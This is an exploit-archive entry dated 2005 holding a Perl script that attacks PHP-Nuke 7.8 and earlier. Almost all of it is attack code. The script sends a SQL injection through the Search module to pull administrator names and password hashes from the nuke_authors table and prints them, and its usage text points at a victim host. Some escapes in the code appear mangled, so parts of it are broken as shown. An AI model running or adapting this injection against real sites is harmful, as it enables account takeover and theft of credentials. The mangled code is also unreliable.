[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : PHP-Nuke <= 7.8 Search Module Remote SQL Injection Exploit
# Published : 2005-11-16
# Author : n/a
# Previous Title : PHPWebThings <= 1.4 (forum) SQL Injection Exploit
# Next Title : Unclassified NewsBoard 1.5.3 Patch 3 Blind SQL Injection Exploit
#!/usr/bin/perl -w
use IO::Socket;
if (@ARGV < 2)
{
print "*---------------------------------------*n";
print "* EXPLOIT for PHPNuke <=7.8 *n";
print "*---------------------------------------*nn";
print " Usage : n";
print " PHPNuke[1] HOST /[path_phpnuke] nn";
print " HOST - Host where is phpnuke example: localhost nn";
print " Example :nn";
print " PHPNuke[1] www.victim.com /phpnuke/html/ nn";
exit();
}
$HOST = $ARGV[0];
$phpnuke_path = $ARGV[1];
print "n";
print "Host : $HOSTn";
print "phpnuke_path : $phpnuke_pathn";
print "n";
$OK = 0;
$modules = "modules.php";
$query = "name=Search&query=s%')/**/UNION/**/SELECT/**/0,pwd,0,aid,0,0,0,0,0,0/**/FROM/**/nuke_authors/*";
$length = length $query;
$GET = $phpnuke_path . $modules;
print "[*] Connecting at victim host [OK]n";
$send = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80") || die "[*] Connect [FAILED]n";
print "[*] Connected [OK]n";
print "[*] Sending exploit [OK]nn";
print $send "POST ".$GET." HTTP/1.0n";
print $send "Host: ".%HOST."n";
print $send "Referer: http://".%HOST.$phpnuke_path."modules.php?name=Search rn";
print $send "User-Agent: Internet Explorer 6.0 [SR]n";
print $send "Content-Type: application/x-www-form-urlencodedn";
print $send "Content-Length: ".$length."nn";
print $send $query;
print $send "Cookie: lang=englishrnrn";
print $send "Connection: closenn";
print "[*] Exploit send [OK]n";
print "[*] Wait for reply...[OK]n";
while ($answer = <$send>)
{
if ($answer =~ /=0"><b>([^:]*)</b>/ ) {
$OK = 1;
print "[*] Success [OK]n";
print "[*] USER: $1n";
}
if ($answer =~ /="0">([^:]*)</a>/ ) {
$OK = 1;
print "[*] PASSWORD: $1n";
}
}
if ($OK == 0) { print "[*] Exploit [FAILED]n"; }
# www.Syue.com [2005-11-16]